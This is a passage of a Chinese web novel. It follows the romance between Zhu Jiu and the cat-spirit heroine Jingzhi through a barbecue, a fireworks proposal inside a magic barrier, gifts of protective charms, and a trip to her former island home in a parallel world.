嫌碍事,为什么非要换上白衬衣呢? 静之挑了一下眉毛,放下碗,先把他卡在下臂中段的袖子小心的往下拉。 然后解开衬衣袖扣,再把袖子帮他往上卷,露出漂亮的腕骨,黑色的手表和半截小臂。 她卷得认真,期间温润的指尖不时碰到朱九手臂的肌肤,他的心也跟着跌宕宕宕,心跳一路涨停板,智能表终是不负众望的滴了一声。 静之耳朵稍稍一动,旋即抬眼看他,却直接撞进他含着笑的眸子里。 蝉鸣环绕,晚风轻抚,淡淡的烟火气息飘荡在空中,气氛一时正好。 不过几秒,静之垂下头,悄悄捂住了自己的腕表。 却仍有轻轻的滴声漏进朱九的耳朵里。 “静静……你心动了……” 朱八满口包着肉,都停止咀嚼了。 他拿着铁签子,瞬间觉得自己在这里有点多余。 于是顺了一碟子刚烤好的蒜蓉扇贝,悄悄的往客厅挪。 刚抬脚走了几步,就听到身后的静之小小声的回应。 “……是。” 他二哥满溢喜悦的轻笑,紧随其后。 “你终于肯认了。” 朱八:他好想留下来“观摩学习”,但是他怕他二哥会扒了他的皮。 于是他回屋了。 偌大的庭院里,只剩下朱九跟静之二人,还有宛如npc一般的黄姨。 静之不再捂表,就任它响着。 心动又如何,护好他才是大事。 她慢慢吃着东西,脚尖轻轻踢了一下旁边封得严实的纸箱子,“这是什么?你还没说呢。” 得,这种浪漫的时候,她是懂拆台的。 朱九说:“等会吃完了再告诉你。” “行吧。”静之轻轻摁住他还往烤虾盘里伸的手,“够了,我再吃点别的就行,你歇会儿。” 她扭过腰,伸长了手从桌子上,顺了一包湿纸巾过来,抽出一张递给他。 “来,擦擦手,你也吃点东西。” 朱九看了她一眼又一眼,然后低头看向他油乎乎的手指,试探性抛出一个请求。 “……你帮我擦。” 静之:“……” 诡计多端的男人。 帮她剥虾的时候,就想着这儿呢吧。 她轻轻将湿纸巾搭在他支起来的手指头上,“别得寸进尺啊,咱俩还没在一起呢。” “自己擦。” 朱九低头,捏着湿纸巾一个一个蹭过右手的五指,无声的动作中,莫名透露出一股被用完就扔的委屈。 静之:心眼多如筛子的男人。 “啊算了算了,左手伸出来,吃你几只虾跟欠了你似的。” 朱九没抬头,只是默默将左手伸了过去。 微凉的湿纸巾裹住他的手指头轻轻擦拭,油乎乎的手指再度恢复了它健康的淡粉色。 静之低头时,朱九不知什么时候抬起了头。 凝视了她的发旋一会儿以后,他一口亲了上去。 还是熟悉的配方,还是熟悉的味道。 静之一个猛仰头,朱九的嘴跟下巴,又遭到重击了。 时间仿佛流朔回了他们呆在电梯里的那个下午,朋友以上,恋情未满,淡淡的暧昧让他止不住的心动。 朱九捂着抽痛的嘴,朝她笑得有些发傻。 静之白了他一眼后,强硬的把他手掰下来了。 “你又跟我装?都没受伤。” 怕静之又说他骗她,他摁住自己的下唇往下轻扯,把里侧磕破皮的一条口子给她看,同样是一句话不说,动作间尽显无辜和委屈。 装多了,静之也有免疫力了。 她拿起烤虾旁的半片柠檬递过去,“众所周知,溃疡的话,多吃点vc就好。” 朱九终于说话了:“……这不是溃疡。” 静之:“那你想怎么样?” 朱九低头看向自己纤长干净的手指,看了一会儿,他突然红着脸抬起头。 “现在没人,能不能……亲我?” 刚抬起的头又慢慢低下,朱九声音转小到几乎听不见。 “众所周知……口水……能给伤口消毒……” 黄姨满脸问号,她难道就不是人吗? 她边礼貌微笑,边慢慢蹲下,把自己藏身在烧烤架后面。 静之都快被朱九整笑了。 “想要我亲你,怎么不抬起头?” 朱九就跟那银行门口灌饱了气的长条形氢气球一样,瞬间支楞起了脖子。 她,她真答应啦??? 朱九眼睛睁得有些圆,仿佛有些不可置信,眼里的期待却很好的传递给了坐他旁边的静之。 “闭眼。”她冷冷的说。 他倏地闭眼,连嘴巴也乖乖闭上了。 过了好一会儿,就在他以为她偷偷跑掉的时候,强烈的酸味连同一抹温润的触感落到他的唇上。 嘴巴被捏开一条缝,能酸死个人的纯柠檬汁直接渗透进他的伤口里。 朱九痛到浑身毛孔都长开了,全身直起鸡皮疙瘩。 她欲离开的头却被他死死摁住。 朱九越亲越痛,宛如在亲一朵带刺的玫瑰。 他舍不得放走这来之不易的一次机会,今天就算痛死,他也要……一偿所愿。 眉是委屈耷拉的,眼是害羞紧闭的,嘴角却开始上扬,并开始回应。 憋气到不行的静之,一口咬到他的伤口处,用牙磨了一下,然后趁着嘶嘶呼痛的时候,一把将他推开。 “过分了,谁说你可以主动?!” 朱九捂住开始泛起血腥味的唇,咧出八颗牙齿,“你没说不行。” 静之气结,哼了一声,用力提起小马扎,转了个方向,用背部衣服上大大的中指印花对着他。 朱九嘴角抽了抽,为了不破坏气氛,选择性忽略那个手势。 他轻戳一下她的背,“静之……我多想那个约定不作数。” 她侧过脸,“你什么意思?” “我…我想现在就跟你在一起。” 她把脸又转了回去,“哼!没门!你就等着吧。” 另外一边。 叠脑袋的人数达到了空前的顶峰。 少少竟不怕死的出来了。 自下而上,依次是阿祥,朱八,朱鹤,豆豆,少少。 朱鹤抬眼往上瞅,这小姑娘,胆子倒是挺大,竟敢把下巴直接搁在他脑袋上。 豆豆没空理他。 私人感情完全影响不了她追cp的热情,此时她正拿着相机疯狂的拍拍拍。 “我勒个去,我刚刚还以为静之姐要一巴掌呼过去呢,而且二叔居然也会有这种没脸没皮的时候。” 朱八一副过来人的样子,神气的哼哼两声,“这你们就不知道了吧,追女朋友,就不能带上脸皮,不然猴年马月才能亲上一次啊。” 朱鹤摸了摸下巴,“有理。” “他需要套了吗?”朱鹤问。 豆豆&朱八&阿祥&少少异口同声: “不用!!” 朱鹤:啧,真可惜。 少少看着不远处的静之吐出嘴里那一小块柠檬片的时候,不禁直起腰开始鼓掌。 “姐妹真是个狠人,这种诡计多端的男人,就应该让他狠狠痛一次,再给他一颗甜枣,让他欲罢不能!” 第311章 我有些唐突的想法 繁星漫天,月儿高悬。 众人的心提到了嗓子眼儿。 今天的重头戏终于要来了。 他们从屋里走了出来,假装没事人一样,喝酒的喝酒,撸串的撸串,玩手机的玩手机,实则暗暗将静之包围起来。 豆豆递过去一杯果汁,笑着问: “静之姐,今天开心不?” “开心啊。”静之的目光在她和朱鹤间流转,“你玩得还开心吗?” 豆豆暗暗踩一脚发贱掏出套套的朱鹤,然后凑到静之腿边蹲下,扯着笑脸说:“当然开心!那……你想不想更开心呀?” “你们是不是瞒着我什么?”静之后知后觉。 “哪有。”她拆开箱子,从里拿出一串鞭炮,“搬新家嘛,咱们来放点炮热闹一下。” 都说了要从杀伤力最弱的东西开始了。 朱九啧了一声,拿出一根仙女棒,越过豆豆塞进静之手里。 他温柔且小心翼翼的侧头问她: “我帮你点燃?” 静之看着手里的灰色条条,在环视一圈严阵以待的众人,突然笑了。 “这么紧张干什么,点就点呗,这又不是炸弹。” 说到炸弹,她精神恍惚了一瞬。 手里的仙女棒不知被谁突然点亮,灰色的线条尖端突然迸溅出白色的闪光。 【朱鹤:磨磨唧唧的,再不点天都亮了。】 朱九瞪了他一眼,随即伸长了手,越过豆豆,快速牵住静之空着的那只手。 “仙女棒留下,其他东西你们走远一点放,这里还有炭,就不怕走火吗?” 豆豆看着悬在她面前互牵的两只手,调侃一句:“要不你俩坐我腿上牵呢?” 静之嘟着嘴站了起来,带动隔了一人身位的朱九往前走了一步。 刚向前一步,忧心忡忡的朱九硬扯住她的手往后带。 “别靠太近,等会嘣到你身上。” 放了一会儿仙女棒后,静之都没什么太大的反应。 朱八在朱九的眼色下,从最小的单颗鞭炮开始放起。 随着一阵硝烟弥散开来,后院响起一声不大不小的啪响。 随后空气一片寂静。 朱九微微扣紧她的手指,暗暗朝朱八接着点头。 兄弟多年的默契,让朱八直接拿起一小串鞭炮。 他笑着说了句吉祥话,然后取下嘴里咬着的烟,点燃鞭炮后,远远的往水泥空地上一丢。 “噼里啪啪……” 静之的手指微微颤动一下。 时刻关注她的朱九脑子里立刻浮出王昭说过的话。 “用最美好的回忆覆盖她的痛苦。” 漫天扬起的硝烟中,烟雾和嘣得到处都是的炮纸微微挡住众人的视线。 朱九一个转身,轻轻拥住静之的腰。 “静静,相信我一次好不好,我会护你周全,也会护自己周全。” 静之的喉咙仿佛被棉花堵住,半晌才问道:“我们…还有再来一次的机会吗?” 朱九有些听不太懂她这句话,但仍旧快速答了声有。 “我有事要跟你——” “嘭!” 话还没说完,漂亮的烟花突兀的在空中炸开,寂静的院子里瞬间发出一声巨响。 刚收起指尖火的朱鹤,背后突然砰砰砰连中几巴掌。 他眼神一暗。 刚回头欲发飙,就看到朱九,豆豆,朱八,就连平时畏畏缩缩的阿祥,这回齐齐肃着脸站在他身后。 围在最后面的,是被众人紧紧护住的静之。 “我说什么了,从最简单的开始!”朱九实在忍不住,直接对朱鹤黑了脸。 少少回头,满眼担忧的看了一眼静之,“你没事吧?” 她没有回答。 在静之的世界里,仿佛就剩下她身前那个挺拔的背影。 两根手指紧紧捏住他后腰的衬衣,用力到指尖泛了白。 “九哥,你是真的吗?” 朱九心一揪,立刻转回头,将她苍白的脸捂进自己怀里。 烟花的巨响有规律的响起。 她在轻轻颤抖着,仿佛在回忆着以前的苦痛。 朱九感觉周遭的声音在渐渐离他远去。 “是我,我就在这里,别怕。” 一个简单的拥抱,仿佛跨越时空,带她回到了他前世的最后几秒时光。 半透明的弧形流光闪过。 结界术成。 这还没完,圆形的结界出现后的几秒,两人仿佛身体描边了一般,贴身浮出一层淡淡的白雾色薄膜。 朱鹤瞳孔一震。 “双重结界?!她倒是护得紧。” 朱八疑惑的问:“很厉害吗?” 朱鹤脸上的戏谑尽失,第一次深刻的认识到那灵猫对林风神君的执着,和无悔的付出。 【我这么跟你说吧,外面那层结界,是用她丹田内储存的灵力构成的,破掉的话,最多就是灵力失去一些。】 【里面那层之所以是乳白色的,是因为她用上了本源兽丹之力,若是里面那层结界也被突破了,那么率先出事的,一定是作为守护者的她。】 朱八啧舌,朱九却没听到朱鹤的话。 他此时心心念念的,都是如何用快乐来覆盖住她在这一刻,内心产生的痛苦和自责。 “静之。” 朱九轻轻推开她,右腿后撤一步,单膝跪地。 左手不知何时,端着一个红丝绒盒子面向她。 “我喜欢你,就算你还念着他,我也喜欢你。” “有时候我甚至觉得自己疯了,但我实在控制不住自己。” 他情深意切的拉起她的手,郑重问道: “嫁给我好吗?” 话音刚落,结界里寂静无声。 结界外下巴掉了一地。 里层结界为半透明的乳白色,虽听不到朱九讲话,但以他的跪姿,还有那颗闪亮亮的大钻戒,众人就知道,二叔这回开大招了。 第312章 我是她男朋友 那一晚过后,两人的关系突飞猛进。 静之的心疾仿佛也在慢慢痊愈。 豆豆在朱九的授意下,每天晚上不是放一下鞭炮,就是放根儿童玩的长条形烟花棒。 明明是七月,却整得跟过年了似的。 静之有时候也会倚在窗口看上两眼,而这种时候,他总在她身边陪着她。 朱九彻底赖在她家不走了。 叫朱八把他的衣服和生活用品带过来以后,就整天跟静之同进同出。 上班一起,逛超市一起,买健身器材一起,颇有一种新婚夫妻的感觉。 就是朱九再也揩不到一点便宜了。 静之没事的时候,除了修炼,就是泡在健身房里,简直跟他一样宅。 离那个约定还有两天时,朱九终于忍不住了。 他一脚踩到她旁边的跑步机上,自顾自打开它,转头朝静之说一句: “再打个赌不?” 慢跑中的静之侧头看了他一眼。 不用说赌注是什么,她就知道这回她又得对他心软了。 “我看你才是你们朱家的赌神。” 朱九一噎,面色微红。 “我……抱歉,我就是……” 特别想亲近你而已。 十几天了,别说吻了,他连她的半拉手都牵不到。 静之微微叹了口气,摁停跑步机,缓下步子走了一会儿,才停下来面对着他。 “说吧,直接说你要干什么。” 朱九跟着停了下来。 他把手伸进口袋里,拿出一个盒子。 静之:“诶诶诶,还差两天,你不许现在求婚。” 他倒是想。 但他知道她现在是不会同意的。 朱九委屈的瞧了她一眼,打开盒子,把完善过阵法的小玉猫呈在她面前。 “我研究出来了,月能防护罩,可持续利用,没能量的时候,拿到月光下晒一晚上就好。” “它能有效抵挡三次攻击,若是敌人法力强过你,法阵也可加速运转,将三次运转所需的能量,全部激发出来,自动弹出一个加强版的防护罩。” 朱九挑出红绳,朝静之示意,“低下头。” 静之微笑着握住他的手腕,往后推去,直到小玉猫被戴在他脖子上,她才满意的摸着下巴点点头。 “我的肉身强度比你好。” “更何况我就是个老师,生活里遇不到什么危险,你除了跟我一起上班,平时还会出去驱驱鬼啥的。” “这东西啊,你戴着更合适。” 他就知道会是这样。 朱九从另外一侧的口袋里,又摸出一个盒子。 见她怔住,朱九赶紧摆手,“真不是求婚,你别紧张。” 静之:“噗……你口袋里到底藏了多少盒子?” 朱九微红着脸垂下头打开小方盒。 一条精致的锁骨链瞬间倒映进了静之眼里。 链身为细细的螺旋型银链。 前头的装饰是七颗排列成北斗七星的圆形小暖玉,整体又精致,又透露出一股中式淡雅的风格。 静之见到的第一秒就喜欢上了。 “送给我的?” “嗯。”朱九把盒子放到一旁桌子上,取出项链朝她展开,“别小看它,它也是法器。” “这回该过来一点了吧?” 心眼贼多的男人。 静之挪近一大步,故意将脚尖抵住他的。 “帮我戴上。” 太近了。 他甚至可以看到她额头因锻炼而冒出来的细细的汗珠。 两手伸到她颈后扣扣子时,静之悄悄的环住他的腰身,搂紧,把他往自己的方向带。 “九哥,你刚刚心里想的的赌注,是想这样吧?” 给她戴好项链后,他微微后仰头,注视她的双眼,低声说: “是也不是……” 静之被他反拥进怀里,连身侧的两只手也被他一起圈住,像是怕她突然逃跑了似的。 朱九不说了,他用做的。 他一味啄着她的脸,细细密密的到处乱亲,连眼都不敢睁开,是十乘十的新手。 静之觉得他在这个时间段里可好玩了。 一逗就脸红,一摸就吓一跳。 一惊一乍的,比她还像只猫。 憋得狠了,到处乱亲乱啄,像只啄木鸟。 她挣扎了一下,抽出一只被箍得死死的手。 轻轻撩了一下他不住抖动的睫毛。 “二叔,你睫毛可真长。” 边说着,她调皮的吹吹他的紧闭的眼皮,“只知道自顾自的亲,为什么不敢睁开眼睛看我。” 朱九的脸悄然爬上一抹红晕,紧闭的双眼突然睁开。 只看她一眼,就立刻挪开视线。 我我我了半天,除了一句唐突了以外,秃噜不出半句话。 静之能活动的那只手搂住他的脖子下压,贴上他紧张到有些干燥的唇。 “笨死了,我相信那套子真的不是你的了,轮到你主动时,连我的嘴都不敢亲。” 说话间,唇的接触,让她觉得有些疼痛。 男人就是糙。 他唇上的死皮剌得她有些痛。 静之伸长那只手,从口袋里摸出一支润唇膏。 微微后仰头,用嘴咬住盖子,旋出膏体后就往他唇上涂。 朱九僵着脖子不敢乱动。 微微挪动嘴唇小声拒绝,“静之,我是个男人,不需要这些。” 静之扣回盖子,笑着摇摇头,“以后跟我在一起,你还会需要很多东西呢。” “你那么有钱,干嘛把自己养得那么糙。” “亲得我嘴痛。” 朱九抿了抿软下来的唇,有些抱歉的说: “好,那我以后天天涂,不让你痛了。” 静之突然笑了。 “你还想天天亲啊?想得美。” “我这可是看在你送我礼物的份上,给你亲一回。” 朱九放开了她。 “我……抱歉,刚刚有些激动了。剩下两天,我会好好忍住的。” 静之点了点他的脑门,假装埋怨。 “就算我两天后答应你了,可你又不会亲,到处乱啄,亲我一脸口水。” 朱九攥紧双拳,一脸认真回应: “那以后你教我,我会好好学的。” 放在他脑门的指尖一顿,渐渐下滑,越过高耸的鼻梁,点在他半张的嘴里。 “你想得倒是挺美。” “万一,我不答应你呢。” 朱九笑了。 “那我就趁这两天的时间,彻底消除这个万一。” “嘟……嘟……” 口袋一阵震动,朱九皱眉掏出手机一看。 是张丰老先生。 电光石火间,他明白张老先生为什么要打这个电话,朱九有些不悦的轻啧一声。 静之:“怎么了?这人……不好相处啊?” “不是他,是他孙子。”朱九朝她嘘了一声,放开她,走到窗口摁了接听键。 “您好,请问有什么事吗?” 不知听到什么,他回头,有些哀怨的看了静之一眼,“她已经有男朋友了,就是我。” “我是不可能放弃的。” “张老先生,感情不讲究什么先来后到,况且她并不喜欢张真。” 边说着,他朝她投来了个可怜巴巴的眼神。 静之摊手耸肩,小声说: “我就是拿他当个优等生看待而已,绝无半点私人感情。” 话筒对面的老先生僵住了。 张丰:“她在你旁边?你们……同居了?” 朱九:虽然住在不同的房间里,但在同一屋檐下,怎么就不算同居呢。 “……是。” 张丰摁住话筒,对旁边一脸丧气的张真摇头,“天涯何处无芳草,你刚刚也听到了。” 张真扯了扯嘴角:“我宁愿我现在是个聋子。” 张丰白了他一眼,有些尴尬的放开话筒,笑说:“既如此,我家真儿也不会再纠缠了,抱歉,给你们两个带来困扰了。” 挂掉电话后,静之坐在凳子上,捧着脸,好整以暇看着他。 “男朋友?同居?” “你的进度是不是有些快了。” 朱九步步逼近。 “我们抱了。” “亲了。” “我们互相喜欢。” “在我心里,我已经……” 是你的人了,现在,就差最后一步了。 两天后,你也将属于我。 第313章 祥已退出群聊 “退后。” “靠这么近干嘛。” 她一掌摁到他温热的胸膛上,刚使力将他后推一步,手却被他一把抓住。 朱九:“不是……我有事跟你说。” “什么事?” “上回你不是说想家了吗?我带你回去看看?” 她啥时候说过了? 见她一脸迷茫的样子,朱九微微蹙眉,“就是我祖师爷被雷劈的那一天。” “哦~记起来了。” 她去楼顶找林风踪迹的那次啊。 “可以啊。”静之从跑步机前面的支架上,拿起手机,“你要一起的话,我多订一张票……嗯……我看看哦,今天的卖完了,最近的船票,是明天早上八点半的。” 刚想点击购买,手机屏幕就被他一掌盖住。 “我有船,不用买票。” 他顿了一下,接着说,“明天就要上班了,若是你想去的话,咱们现在就可以出发。” 静之小嘴微张,脑子的Cpu差点转不过来。 “你说你有船,你是真有啊?” 朱九点头,“第一天来你别墅时我就说过了,我不会再瞒着你任何事。” 静之:“……那走呗,早去早回,现在都下午一点了。” 朱九拿起架子上的纯白色运动外套给她披上,“海上风大,多穿着点。” “那我楼下等你,你也回去套件衣服呗。”静之说。 …… 一小时后,来到甲板上的静之,直接被他嘴里的那艘船给干沉默了。 “这能叫船吗?这是艇吧?!” 这游艇一眼望不到边,分为上下两层。 船身为白色,内里餐厅,游戏厅,电影院,卧房,一应俱全,甚至还有一间麻将室。 阿祥带着海军帽,从掌舵室开门出来,“您想叫啥都行,反正这艘船抵得上好几套大平层,您两天后就答应我二叔呗,这样这些东西也都是您的了。” 自从那天朱九求婚后,虽然她没同意,但是阿祥跟朱八便十分有眼色的对她用起了敬语。 朱九轻咳了一声没有说话,并暗暗朝阿祥投去一个赞许的眼神。 嘴角刚要勾起来,腰子就被她一手肘杵了一下。 “哼,开船吧。” …… 同一个年代,同一个地方,同一条路线,静之不禁触景生情。 她隔着江水,眺望着隔壁过往的船只,脑子里全是林风不让她吃冰棍的一幕。 鼻头渐渐发酸,眼里的热意却被拂面的海风吹凉,万般感受,只留下了心头极强的思念。 阿风,你怎么轮回了这么多世,我都好想好想你了。 “回家了还不开心吗?”朱九两手撑在围栏上,侧头看她。 静之朝对面向她挥手的小旅客笑了笑,又用力挥了挥手,“开心,回家了怎么不开心。” 真的假的? 他怎么瞧她眼圈好像红了。 “这里风大,要不要进去坐坐?朱八也来了,我们一起聊聊天?” 静之转过身子,腰抵着栏杆,突然笑着问他: “话说朱八比你小,就算按照辈分排名字的话,也应该往后排,为什么往前排了呢?” 朱九眼一弯,担忧的脸上突然露出一抹浅笑。 “本来他叫朱十的,后来他老是被同班同学叫做朱屎,8岁那年撒泼打滚,还跟我打了一架,硬逼我妈带他去改名了。” “哈哈,没想到他还能跟你打起来,我看他现在挺怕你的嘛。” 七月的南方,阵雨繁多。 此时海风呼呼的吹,忽然一滴豆大的雨打在朱九搭在栏杆的手背上,还有些微疼。 “这回真该进去了,下雨了。” 浪大船颠簸,朱九终于如愿牵到了静之的手。 两人走进船舱,边走边聊。 原来朱八以前并不热衷于赌博,也是一位上进的好青年。 直到有一年,他谈了一个女孩,当时他们的父亲还没去世,家规甚严。 他们父亲不让朱八告知女孩他们是个有钱人家这个事实。 朱八信誓旦旦,以为那个女孩是真心爱他。 结果不到两个月,朱八的零用钱都用在那个女孩身上,彻底没钱后,女孩玩起了消失。 自此朱八便变了性子,知道了钱的重要性,沉迷酒精一阵子后,竟被酒肉朋友带着染上了赌瘾。 这次能想通,估计也是看到了静之对朱九的态度,觉得人世间的女人并非都是爱财之人,他这才想着要改变自己,好好生活。 朱九对男女之情从未深思,作为大哥,在父亲死后,对人情世故看得十分通透。 喜欢静之的同时,他又感谢她。 总觉得认识她以后,他们家的每个人都在默默变好。 除了朱八,阿祥也越变越好了。 不再无所事事,做个只知道吃和玩的小胖子了。 考了开船的驾照,半个月减了十斤肥,还主动参加了书法班。 虽然有妄想去班里追个知性女孩的嫌疑,但总归是有学到一点。 包括他自己,对生活更加积极了,每天容光泛发,总是不自觉的面带微笑。 他觉得前四十几年的笑容,都没有认识她以后加起来的多。 …… 去东坪洲的旅程,不过半个多小时。 两人的聊天,前所未有的深入。 静之有很多东西都不能说,基本都是朱九在讲。 她捧着脸,看着他侃侃而谈的样子,突然觉得钱真是个好东西。 他的前两世,总是为了钱财,为了生活奔波,渐渐养成了不苟言笑,在外隐忍,实则腹黑的性格。 今世,他倒是肆意很多。 朱九:“阿祥从小胖到大,其实我很感谢豆豆拒绝他,如若不是她,他估计也没有一点自省的想法……” 说到一半,静之看了一眼窗外,放下撑着下巴的手,微微站起,吻上那张喋喋不休的嘴。 柔软不剌人。 静之微微弯了眉眼。 左手撑在桌上,右手捧住他的侧脸,轻轻咬了一口他的下唇。 “怎么这么乖,刚刚上厕所时,背着我偷偷涂润唇膏了?” 朱九放在身侧的手,一把捏住自己裤子口袋里的长条形物品。 这润唇膏,还是他叫阿祥在来的路上帮他买的。 不管有没有亲亲的福利,随时准备好,总是好的。 “好了,靠岸了,咱们该下船了。” 静之推开朱九,站直身子,走到门口等他。 朱九捂着微痛的嘴走到她旁边,有些不理解。 为什么每次亲吻都要咬他? 这是情侣之间的小情趣吗? 还是只是因为是她,她是只猫咪,所以格外的爱咬人。 “静之,下次……能不能别咬我了?”他欲言又止。 “咬痛你了?” “……” 也不能说痛,就是被她咬的时候,心痒痒的,被撩得不行,但又不知道该怎么办,于是只能强行忍住那种难以言喻的冲动。 阿祥和朱八捂着嘴走在他们后面,以免自己嘲笑朱九的声音过大。 那个小群的名字已经改了,变成【生活不如意就看这里】 【八:我真的会被二哥笑死,一路上话多得不行,刚刚静之主动亲他时,估计情难自禁,咬了他嘴巴一口,他竟然还叫静之别咬他![笑哭][笑哭]】 【祥:我路过的时候也看到了,二叔有时候简直直得够可以的,我看未来二婶刚刚的表情都僵掉了。[狗头][狗头]】 【豆:无图无真相。】 朱九已经给少少做了把智能机烧给她了,所以这次她也加入了这场聊天。 【少:咬得好,最好把他嘴咬掉。】 【祥:不是……少少你是不是跟我二叔有仇啊,怎么老看他不顺眼?顺便@豆,图片私你了,非常精彩,非常高清,你就看吧。】 几人聊得开心,朱鹤突兀的闯了进来。 【“祥”已被踢出群聊。】 豆豆愣了一下,作为群主的她立刻又把阿祥拉进来。 阿祥一进来就开始狂轰滥炸。 【祥:不是,祖师爷我什么都没干呀,您把我踢出去干什么?】 刚发出一句。 【“祥”已被踢出群聊。】 “嗡嗡。” 豆豆捏着手机,额头青筋直冒。 只见屏幕上发来了朱鹤的60秒语音,整整三条,她都懒得点开听。 过了一分钟后,见她没回,屏幕上又弹出一条言简意赅的信息。 【鹤:以后有事群里说话,不许跟他单独私聊。】 豆豆撇嘴,躺回沙发上,举着手机,摁下录音键,“您是他家祖师爷,又不是我家祖师爷,我凭什么听您的?” 对他说“您”,不过是因为她有素质,外加惧怕他的实力而已,完全不含一点感情在里头。 这句冷漠的语音,直接点燃了朱鹤的怒火。 朱九和静之走在码头上,突然听到来自身后的一声惨叫。 他俩回头一看,阿祥摔了个狗啃泥,眼镜飞出去三米远。 “……你小心点,这是个小地方,这条路只有一米多宽,别掉水里去。”静之提醒道。 阿祥欲哭无泪,他今年是不是犯太岁啊,在平坦的水泥地上都能摔一跤。 …… 第314章 回'家\' 阵雨在下船的时候刚好停了,空气十分湿润,尽管是七月的下午,天气也因为这场大雨变得凉爽。 这里没有多大变化,跟静之记忆里的印象差不多。 房屋低矮,民风淳朴。 海边的渔民正辛勤的劳作,小孩站在海边捡石子打水漂。 一切都跟她离去时一样。 静之心里莫名升起一丝希望。 万一呢,万一他在这儿呢! 越接近岛屿中心,房屋越加密集。 屋与屋之间,隔出了弯弯绕绕的许多铺着青石板的小巷子。 不是本地人的话,一走进去准会迷路。 看着在前头带路,脚步不带一丝犹豫的静之,朱九对她说的身世愈发深信不疑。 他拎着两箱礼物,亦步亦趋走在静之后面。 不消几分钟,她突然在一处平房面前停下。 也不进去,就呆呆的站在门口。 “这你家?” 阿祥探头探脑,这房子,真是有够……嗯……年代久远的。 静之不知道该怎么回答他们。 此时这平房的入户门开了一扇,显然就是有人住着的。 她有些……近乡情怯。 万一,他真在,她估计会爆哭的吧。 那…朱九又该怎么办。 “阿莲,你一个人就不要做饭了,中午来我家吃饭呗,我奶今天又炖汤了。” 隔壁一个面熟的女生,伸头出来,朝隔壁平房里的人喊。 刚喊完一嗓子,就看到杵在她邻居家门前的四个人。 她一脸警惕的抓着腰前的围裙问: “你们……是来找阿莲的?” “珠珠姐,我来啦!今天又要叨扰你们了!” 更加熟悉的面孔从平房里走了出来。 阿莲侧绑着头发,穿着一身洗得发白的连衣裙,端着盆山梨从屋里走出来。 眼前的阿莲明显不是被林风好好养大的阿莲。 静之认识的阿莲,活泼可爱,身材高挑,长相秀气,皮肤白里透红。 眼前的阿莲,看起来可怜极了。 她的脸色有些发青,头发发黄,一看就营养不良。 “呃,你们找谁?” 珠珠面对着他们四人,两脚蹭出门外,右手一捞阿莲,把矮半头的她藏到自己身后。 静之快速眨了眨有些起雾的双眼,朝她伸出手,“我叫林静之,你叫阿莲是吗,我……我来找个人。” 阿莲歪着脑袋,从珠珠肩后探出头,小声问:“你找谁?我家就我一个人了。” 珠珠皱起眉头低斥一声,“阿莲,说了不许如实相告,要是遇到坏人怎么办?!” 静之观察着这个叫珠珠的女孩,好一会儿才从记忆深处里,把她跟那具冻得僵紫的女尸对应上。 这辈子的珠珠没被人骗出岛,也还没死,阿风又不在,那么这个世界里,应该是没有艾迪那个贩毒分子以及九菊一派的人存在的吧。 静之抿了抿嘴,走上前,小声问: “请问,你们这儿有一个叫林风的警察吗?” 阿莲奇怪的看了她一眼,然后摇了摇头,彻底粉碎了静之眼底的那点期望。 她早就知道了的。 不过还是心存妄想而已。 “静之,这不是你家吗?”朱九问。 静之缓缓闭上眼睛,掩去将要流出来的泪,“不是,我以前住在这附近,是一位叫林风的警察收留的我,看来…他不在这里。” “哦。” 朱九自己脑补上了。 她前男友,应当就是这个叫林风的警察吧。 所以在工作中去世的话,也并不让人感到意外。 “阿莲妹妹,我有些口渴,能否向你讨杯水喝?”静之笑得十分和善。 阿莲一个穷苦的孤儿,面对这几个衣着低调,但看起来养尊处优的男女时,不免产生了几分自卑和紧张。 “可,可以,你们进来后院坐会儿吧,我去端水。” 她把碗往珠珠手里一塞,就朝自家屋里走去。 珠珠欸了一声,跺了下脚,一起跟了进去。 这妮子,警惕心这么弱怎么行哦。 阿莲去了厨房,珠珠暂时充当主人,把他们朝后院引。 期间路过林风之前住的房间,静之眼泪差点掉下来。 熟悉的黑白电视,熟悉的藤编摇椅,他真的不在这儿吗? 珠珠看她盯着摇椅看,礼貌的扯了一下嘴角解释给她听: “这是阿莲爸爸的房间,她爸早上出去工作了……等会就回来。” “她爸也是个警察。” 珠珠挺着腰杆快速又说了一句,企图用这话把这些人恐吓住。 就怕这群人过后会对阿莲一个小姑娘不利。 “哦?是吗,那可真巧。” 藤椅上落了灰,高脚床上连件草席都没有。 最主要的是,她刚刚进门时,在堂屋的神像旁边看到了一个牌位,侧边明晃晃写着女儿阿莲泣血敬立。 静之脸上的笑容都快保持不住了,一颗心在看到那个牌位时,就紧紧揪着。 果然是平行世界。 她之前在的世界里,阿莲由林风收养。 这个世界里,阿莲就只能孤独的生活在这个破房子里,无依无靠,吃饭还得靠隔壁三婆接济。 她垂着头一路走到后院。 见到那棵挡住院子一半的大树时,忍不住又想哭了。 这里没有梅花桩,连树下的石桌,也只配了一张孤零零的石椅。 多少个日子,她在这里与林风谈天说地,研究案情,一起做桃木剑…… 现在,一切都变了。 “你没事吧?” 望着正摸着树昂起头,一言不发的静之,朱九赶紧走过去问道。 “没事。” 她放下手,扯着朱九迅速转身,“你带名片了吗?” “带了。” 本来是想给她父母介绍自己,现在看她的表现,那名片估计也用不上了。 “拿来。” 朱九没问为什么,直接把名片给她。 阿莲端来水后,静之一口饮尽,然后将名片塞进她手里。 “阿莲妹妹,我跟你很有缘分,若你需要,可以来这个地址找我,我家缺个保姆,包食宿,一个月一万五,你想清楚了就来找我。” 说完她拉着朱九转身就走。 看着放了一桌子的礼物,和手上还带着淡淡檀香味的名片,阿莲一脸无措的看着旁边的珠珠。 “珠珠姐,这,我……我去吗?” 珠珠接过名片深思了一会儿,才点点头。 “去吧,与其这般活着,我倒觉得你不如出去闯一闯,也许这是个机会。” 毕竟,阿莲她,已经没什么好失去的了。 一坐一站,背对着树的两人,完全没有注意到树干上新刻下了一行小字…… …… 元世界的东坪洲。 已被翻新过的房子温馨素雅。 此时房子里安安静静的,林妈已经带着孩子们午睡了。 林风一个人坐在后院,举着镜子发呆。 经过两世林九,如今他已经收到了前三世的记忆。 好在这两世没有二娣那么磨人,他安心不少。 但对静之的思念与日俱增。 正当他撑着头郁郁寡欢之时,一股熟悉的气息,突然从身后浮起。 虽然气息微薄,但法力高强的他,一下就感应到了。 是她! 是她的灵力! 林风镜子都来不及放下,唰的转回头。 树干上浮起了一行发着白光的字。 不消几秒,白光散尽,这行字仿佛刻了许久,凹陷下去的位置已然变黑。 林风站了起来,徒手摸上那行凹凸不平的字。 【阿风,若是你能看到就好了。】 【——我好想你。】 